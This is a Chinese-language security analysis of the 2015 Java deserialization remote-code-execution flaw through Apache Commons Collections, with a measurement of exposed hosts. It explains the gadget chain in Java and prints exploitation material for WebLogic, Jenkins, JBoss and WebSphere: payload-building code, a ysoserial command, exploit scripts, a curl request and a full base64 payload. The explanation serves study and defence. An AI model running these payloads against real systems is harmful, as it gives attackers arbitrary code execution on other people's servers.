1 背景
2015年11月6日，F(xiàn)oxGlove Security安全團隊的@breenmachine 發(fā)布的一篇博客[3]中介紹了如何利用Java反序列化漏洞，來攻擊最新版的WebLogic、WebSphere、JBoss、Jenkins、OpenNMS這些大名鼎鼎的Java應用，實現(xiàn)遠程代碼執(zhí)行。
然而事實上，博客作者并不是漏洞發(fā)現(xiàn)者。博客中提到，早在2015年的1月28號，Gabriel Lawrence (@gebl)和Chris Frohoff (@frohoff)在AppSecCali上給出了一個報告[5]，報告中介紹了Java反序列化漏洞可以利用Apache Commons Collections這個常用的Java庫來實現(xiàn)任意代碼執(zhí)行，當時并沒有引起太大的關注，但是在博主看來，這是2015年最被低估的漏洞。
確實，Apache Commons Collections這樣的基礎庫非常多的Java應用都在用，一旦編程人員誤用了反序列化這一機制，使得用戶輸入可以直接被反序列化，就能導致任意代碼執(zhí)行，這是一個極其嚴重的問題，博客中提到的WebLogic等存在此問題的應用可能只是冰山一角。
雖然從@gebl和@frohoff的報告到現(xiàn)在已經過去了將近一年，但是@breenmachine的博客中提到的廠商也依然沒有修復，而且國內的技術人員對這個問題的關注依然較少。為了幫助大家更好的理解它，盡快避免和修復這些問題，本文對此做了一個深入的漏洞原理和利用分析，最后對上面提到的這些受影響的應用，在全球范圍內做一個大概的統(tǒng)計。
2 Java反序列化漏洞簡介
序列化就是把對象轉換成字節(jié)流，便于保存在內存、文件、數(shù)據(jù)庫中；反序列化即逆過程，由字節(jié)流還原成對象。Java中的ObjectOutputStream類的writeObject()方法可以實現(xiàn)序列化，類ObjectInputStream類的readObject()方法用于反序列化。下面是將字符串對象先進行序列化，存儲到本地文件，然后再通過反序列化進行恢復的樣例代碼：
public static void main(String args[]) throws Exception {
String obj = "hello world!"; // 將序列化對象寫入文件object.db中
FileOutputStream fos = new FileOutputStream("object.db");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(obj);
os.close(); // 從文件object.db中讀取數(shù)據(jù)
FileInputStream fis = new FileInputStream("object.db");
ObjectInputStream ois = new ObjectInputStream(fis); // 通過反序列化恢復對象obj
String obj2 = (String)ois.readObject();
ois.close();
}問題在于，如果Java應用對用戶輸入，即不可信數(shù)據(jù)做了反序列化處理，那么攻擊者可以通過構造惡意輸入，讓反序列化產生非預期的對象，非預期的對象在產生過程中就有可能帶來任意代碼執(zhí)行。
所以這個問題的根源在于類ObjectInputStream在反序列化時，沒有對生成的對象的類型做限制；假若反序列化可以設置Java類型的白名單，那么問題的影響就小了很多。
反序列化問題由來已久，且并非Java語言特有，在其他語言例如PHP和Python中也有相似的問題。@gebl和@frohoff的報告中所指出的并不是反序列化這個問題，而是一些公用庫，例如Apache Commons Collections中實現(xiàn)的一些類可以被反序列化用來實現(xiàn)任意代碼執(zhí)行。WebLogic、WebSphere、JBoss、Jenkins、OpenNMS這些應用的反序列化漏洞能夠得以利用，就是依靠了Apache Commons Collections。這種庫的存在極大地提升了反序列化問題的嚴重程度，可以比作在開啟了ASLR地址隨機化防御的系統(tǒng)中，出現(xiàn)了一個加載地址固定的共享庫，或者類似twitter上的評論中的比喻：
@breenmachine的博客中將漏洞歸咎于Apache Commons Collections這個庫，存在一定的誤解。
3 利用Apache Commons Collections實現(xiàn)遠程代碼執(zhí)行
參考Matthias Kaiser在11月份的報告[1]，我們以Apache Commons Collections 3為例，來解釋如何構造對象，能夠讓程序在反序列化，即調用readObject()時，就能直接實現(xiàn)任意代碼執(zhí)行。
Map類是存儲鍵值對的數(shù)據(jù)結構，Apache Commons Collections中實現(xiàn)了類TransformedMap，用來對Map進行某種變換，只要調用decorate()函數(shù)，傳入key和value的變換函數(shù)Transformer，即可從任意Map對象生成相應的TransformedMap，decorate()函數(shù)如下：
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer);
}Transformer是一個接口，其中定義的transform()函數(shù)用來將一個對象轉換成另一個對象。如下所示：
public interface Transformer { public Object transform(Object input);
}當Map中的任意項的Key或者Value被修改，相應的Transformer就會被調用。除此以外，多個Transformer還能串起來，形成ChainedTransformer。
Apache Commons Collections中已經實現(xiàn)了一些常見的Transformer，其中有一個可以通過調用Java的反射機制來調用任意函數(shù)，叫做InvokerTransformer，代碼如下：
public class InvokerTransformer implements Transformer, Serializable {... public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
} public Object transform(Object input) { if (input == null) { return null;
} try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
}只需要傳入方法名、參數(shù)類型和參數(shù)，即可調用任意函數(shù)。因此要想任意代碼執(zhí)行，我們可以首先構造一個Map和一個能夠執(zhí)行代碼的ChainedTransformer，以此生成一個TransformedMap，然后想辦法去觸發(fā)Map中的MapEntry產生修改（例如setValue()函數(shù)），即可觸發(fā)我們構造的Transformer。
測試代碼如下：
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[] {"calc.exe"})};
Transformer transformedChain = new ChainedTransformer(transformers);
Map innerMap = new hashMap();
innerMap.put("value", "value");
map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("foobar");
}當上面的代碼運行到setValue()時，就會觸發(fā)ChainedTransformer中的一系列變換函數(shù)：首先通過ConstantTransformer獲得Runtime類，進一步通過反射調用getMethod找到invoke函數(shù)，最后再運行命令calc.exe。
但是目前的構造還需要依賴于觸發(fā)Map中某一項去調用setValue()，我們需要想辦法通過readObject()直接觸發(fā)。
我們觀察到java運行庫中有這樣一個類AnnotationInvocationHandler，這個類有一個成員變量memberValues是Map類型，如下所示：
class AnnotationInvocationHandler implements InvocationHandler, Serializable { private final Class<? extends Annotation> type; private final Map<String, Object> memberValues;
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) { this.type = type; this.memberValues = memberValues;
}
...更令人驚喜的是，AnnotationInvocationHandler的readObject()函數(shù)中對memberValues的每一項調用了setValue()函數(shù)，如下所示：
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject(); // Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null; try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) { // Class is no longer an annotation type; all bets are off
return;
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name); if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { // 此處觸發(fā)一些列的Transformer
memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}因此，我們只需要使用前面構造的Map來構造AnnotationInvocationHandler，進行序列化，當觸發(fā)readObject()反序列化的時候，就能實現(xiàn)命令執(zhí)行。另外需要注意的是，想要在調用未包含的package中的構造函數(shù)，我們必須通過反射的方式，綜合生成任意代碼執(zhí)行的payload的代碼如下：
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[] {"calc.exe"})};
Transformer transformedChain = new ChainedTransformer(transformers);
Map innerMap = new hashMap();
innerMap.put("value", "value");
map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, outerMap);
File f = new File("payload.bin");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}以上解釋了如何通過Apache Commons Collections 3這個庫中的代碼，來構造序列化對象，使得程序在反序列化時可以立即實現(xiàn)任意代碼執(zhí)行。
我們可以直接使用工具ysoserial[2][5]來生成payload，當中包含了4種通用的payload：Apache Commons Collections 3和4，Groovy，Spring，只要目標應用的Class Path中包含這些庫，ysoserial生成的payload即可讓readObject()實現(xiàn)任意命令執(zhí)行。
ysoserial當中針對Apache Commons Collections 3的payload也是基于TransformedMap和InvokerTransformer來構造的，而在觸發(fā)時，并沒有采用上文介紹的AnnotationInvocationHandler，而是使用了java.lang.reflect.Proxy中的相關代碼來實現(xiàn)觸發(fā)。此處不再做深入分析，有興趣的讀者可以參考ysoserial的源碼。
4 漏洞利用實例
4.1 利用過程概述
首先拿到一個Java應用，需要找到一個接受外部輸入的序列化對象的接收點，即反序列化漏洞的觸發(fā)點。我們可以通過審計源碼中對反序列化函數(shù)的調用（例如readObject()）來尋找，也可以直接通過對應用交互流量進行抓包，查看流量中是否包含java序列化數(shù)據(jù)來判斷，java序列化數(shù)據(jù)的特征為以標記（ac ed 00 05）開頭。
確定了反序列化輸入點后，再考察應用的Class Path中是否包含Apache Commons Collections庫（ysoserial所支持的其他庫亦可），如果是，就可以使用ysoserial來生成反序列化的payload，指定庫名和想要執(zhí)行的命令即可：
java -jar ysoserial-0.0.2-SNAPSHOT-all.jar CommonsCollections1 'id >> /tmp/redrain' > payload.out
通過先前找到的傳入對象方式進行對象注入，數(shù)據(jù)中載入payload，觸發(fā)受影響應用中ObjectInputStream的反序列化操作，隨后通過反射調用Runtime.getRunTime.exec即可完成利用。
4.2 WebLogic
參照[3]中的方法，對安裝包文件grep受影響的類InvokerTransformer：
root@f45f0209fa11:/opt/OracleHome# grep -R InvokerTransformer ./Binary file ./oracle_common/modules/com.bea.core.apache.commons.collections.jar matches
接著通過尋找接收外部輸入的點，來讓我們發(fā)送序列化對象。
WebLogic外部只開了一個7001端口，這個端口接受HTTP，T3，SNMP協(xié)議，判斷協(xié)議類型后再把數(shù)據(jù)路由到內部正確的位置，通過在server上抓包，發(fā)現(xiàn)走T3協(xié)議時攜帶了java序列化對象，所以我們只用把這個包文從序列化開始的標記（ac ed 00 05）后加入payload，重放這個數(shù)據(jù)，完成利用。
以下是breenmachine的完整利用腳本：
#!/usr/bin/pythonimport socketimport sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (sys.argv[1], int(sys.argv[2]))print 'connecting to %s port %s' % server_address
sock.connect(server_address)# Send headersheaders='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'print 'sending "%s"' % headers
sock.sendall(headers)
data = sock.recv(1024)print >>sys.stderr, 'received "%s"' % data
payloadObj = open(sys.argv[3],'rb').read()
payload=''print 'sending payload...''''outf = open('payload.tmp','w')
outf.write(payload)
outf.close()'''sock.send(payload)在weblogic的利用中，有個小坑是不能破壞原始T3協(xié)議數(shù)據(jù)中包裝的java對象。
4.3 Jenkins
Jenkins是一個非常流行的CI工具，在很多企業(yè)的內網中都部署了這個系統(tǒng)，這個系統(tǒng)常常和企業(yè)的代碼相關聯(lián)，這次也受到了Java反序列化漏洞的影響，非常危險。
同樣，通過grep受影響的類InvokerTransformer
root@f45f0209fa11:/usr/share/jenkins# grep -R "InvokerTransformer" ./Binary file ./webapps/ROOT/WEB-INF/lib/commons-collections-3.2.1.jar matches
在開放的端口上抓包，定位到Jeenkins的CLI包文中的序列化開始標記（rO0）。 在發(fā)送CLI的第一個包文后：
00000000 00 14 50 72 6f 74 6f 63 6f 6c 3a 43 4c 49 2d 63 ..Protoc ol:CLI-c00000010 6f 6e 6e 65 63 74 onnect
在標記位的地方將base64處理過的payload修改覆蓋原始包文中的序列化對象，發(fā)包后，完成利用。這里給出一個演示視頻：
以下是@breenmachine的完整利用腳本：
#!/usr/bin/python#usage: ./jenkins.py host port /path/to/payloadimport socketimport sys
import requests
import base64
host = sys.argv[1]
port = sys.argv[2]#Query Jenkins over HTTP to find what port the CLI listener is onr = requests.get('http://'+host+':'+port)
cli_port = int(r.headers['X-Jenkins-CLI-Port'])#Open a socket to the CLI portsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (host, cli_port)print 'connecting to %s port %s' % server_address
sock.connect(server_address)# Send headersheaders='\x00\x14\x50\x72\x6f\x74\x6f\x63\x6f\x6c\x3a\x43\x4c\x49\x2d\x63\x6f\x6e\x6e\x65\x63\x74'print 'sending "%s"' % headers
sock.send(headers)
data = sock.recv(1024)print >>sys.stderr, 'received "%s"' % data
data = sock.recv(1024)print >>sys.stderr, 'received "%s"' % data
payloadObj = open(sys.argv[3],'rb').read()
payload_b64 = base64.b64encode(payloadObj)
payload=''print 'sending payload...''''outf = open('payload.tmp','w')
outf.write(payload)
outf.close()'''sock.send(payload)4.4 Jboss
Jboss受影響的情況就比之前Jenkins遜色不少，正如之前所說，要成功利用必須要找到程序接受外部輸入的點，而此處的利用需要/invoker/jmx的支持，大部分情況下的實際場景，jboss都刪除了jmx，所以讓此處的利用大打折扣。
分析流程和之前一樣，只不過此處接受的點在jmx上，所以通過的協(xié)議也和前兩個不同，是HTTP協(xié)議，不再贅述，詳細的jboss分析可以參看Exploit – JBoss。
利用如下：
curl --header 'Content-Type: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue' --data-binary '@/tmp/payload.out' http://172.17.0.2:8080/invoker/JMXInvokerServlet
也可以看breenmachine給出的http請求報文：
POST /invoker/JMXInvokerServlet HTTP/1.1Host: 172.17.0.2:8080Content-Type:application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue
Content-Length: 1434payload
4.5 WebSphere
WebSphere的利用相比較之前幾個case就非常粗暴簡單了，可惜的是很少會暴露在公網。
找到受影響的lib的位置。
root@f45f0209fa11:/opt/server/IBM# find . -iname "*commons*collection*"./WebSphere/AppServer/optionalLibraries/Apache/Struts/1.1/commons-collections.jar./WebSphere/AppServer/optionalLibraries/Apache/Struts/1.2.4/commons-collections.jar./WebSphere/AppServer/plugins/com.ibm.ws.prereq.commons-collections.jar./WebSphere/AppServer/systemApps/LongRunningScheduler.ear/JobManagementWeb.war/WEB-INF/lib/commons-collections.jar./WebSphere/AppServer/systemApps/isclite.ear/commons-collections.jar./WebSphere/AppServer/deploytool/itp/plugins/com.ibm.websphere.v85_2.0.0.v20120621_2102/wasJars/com.ibm.ws.prereq.commons-collections.jar
查看端口開放情況后發(fā)現(xiàn)WebSphere默認起了10個端口監(jiān)聽所有接口，通過burp suite看到在請求websphere默認端口8880上有一個POST的請求，body中帶有base64處理后的java序列化對象，同樣的，標記位置仍然是"rO0"，我們將生成的payload做base64處理后覆蓋之前的序列化對象即可利用。
POST / HTTP/1.0Host: 127.0.0.1:8880Content-Type: text/xml; charset=utf-8Content-Length: 2646SOAPAction: "urn:AdminService"<?xml version='1.0' encoding='UTF-8'?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><SOAP-ENV:Header xmlns:ns0="admin" ns0:WASRemoteRuntimeVersion="8.5.5.1" ns0:JMXMessageVersion="1.2.0" ns0:SecurityEnabled="true" ns0:JMXVersion="1.2.0"><LoginMethod>BasicAuth</LoginMethod></SOAP-ENV:Header><SOAP-ENV:Body><ns1:getAttribute xmlns:ns1="urn:AdminService" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><objectname xsi:type="ns1:javax.management.ObjectName">rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB+AABzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAVzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AHgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+AB5zcQB+ABZ1cQB+ABsAAAACcHVxAH4AGwAAAAB0AAZpbnZva2V1cQB+AB4AAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAbc3EAfgAWdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAEHRvdWNoIC90bXAvcHduZWR0AARleGVjdXEAfgAeAAAAAXEAfgAjc3EAfgARc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAFzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHh4dnIAEmphdmEubGFuZy5PdmVycmlkZQAAAAAAAAAAAAAAeHBxAH4AOg==</objectname><attribute xsi:type="xsd:string">ringBufferSize</attribute></ns1:getAttribute></SOAP-ENV:Body></SOAP-ENV:Envelope>
4.6 其它
因為這個安全問題的根源在于ObjectInputStream處理反序列化時接受外部輸入，而又由于其他類似InvokerTransformer的類的構造函數(shù)被調用，從而造成執(zhí)行，而InvokerTransformer方便的提供了根據(jù)外部輸入類名函數(shù)名反射執(zhí)行的作用，所以造成整個程序RCE。
所以該問題并不是像其他一些語言unserialize函數(shù)本身存在漏洞，而是在應用本身實現(xiàn)的方式上存在缺陷，導致應用受到RCE的影響，開個腦洞引申一下，可以很明了的發(fā)現(xiàn)，遠遠不止breenmachine所指出的這幾個流行web server，更可能影響更多使用了commons－collections，并且觸發(fā)ObjectInputStream反序列化操作的應用，如一些java開發(fā)的CMS，中間件等等，甚至不僅僅是PC端，移動端如Android的很多app都可能受到該問題影響。
5 漏洞影響
通過簡單的全網分析和POC驗證。
Jenkins收到該漏洞影響較大，在自測中，全球暴露在公網的11059臺均受到該問題影響，zoomeye的公開數(shù)據(jù)中再測試后有12493受到該漏洞影響，shadon的公開數(shù)據(jù)中16368臺jenkins暴露公網可能受到影響(未復測shadon數(shù)據(jù))。
Weblogic因為公開到公網的數(shù)據(jù)較少，所以受影響面也稍微少一些，在自測中，全球486臺均受到該問題影響，zoomeye的公開數(shù)據(jù)中再測試后有201臺收到該漏洞影響，shadon的公開數(shù)據(jù)中806 臺weblogic可能受到影響(未復測shadon數(shù)據(jù))。
Jboss因為需要/invoker/JMXInvokerServlet的支持，所以受影響面稍小(但我們并未具體檢測jboss中沒有刪除/invoker/JMXInvokerServlet的數(shù)據(jù))，在自測中，全球29194臺jboss暴露在公網，但由于大部分jboss都刪除了jmx，所以真正受到影響的覆蓋面并不廣，zoomeye的公開數(shù)據(jù)中有7770臺jboss暴露在公網，shadon的公開數(shù)據(jù)中46317臺jboss暴露在公網。
WebSphere在自測中，全球暴露在公網的2076臺均受到該問題影響，zoomeye的公開數(shù)據(jù)中再測試后仍有4511臺websphere受到影響，shadon的公開數(shù)據(jù)中5537 臺websphere可能受到影響(未復測shadon數(shù)據(jù))。
粵公網安備 44030902000612號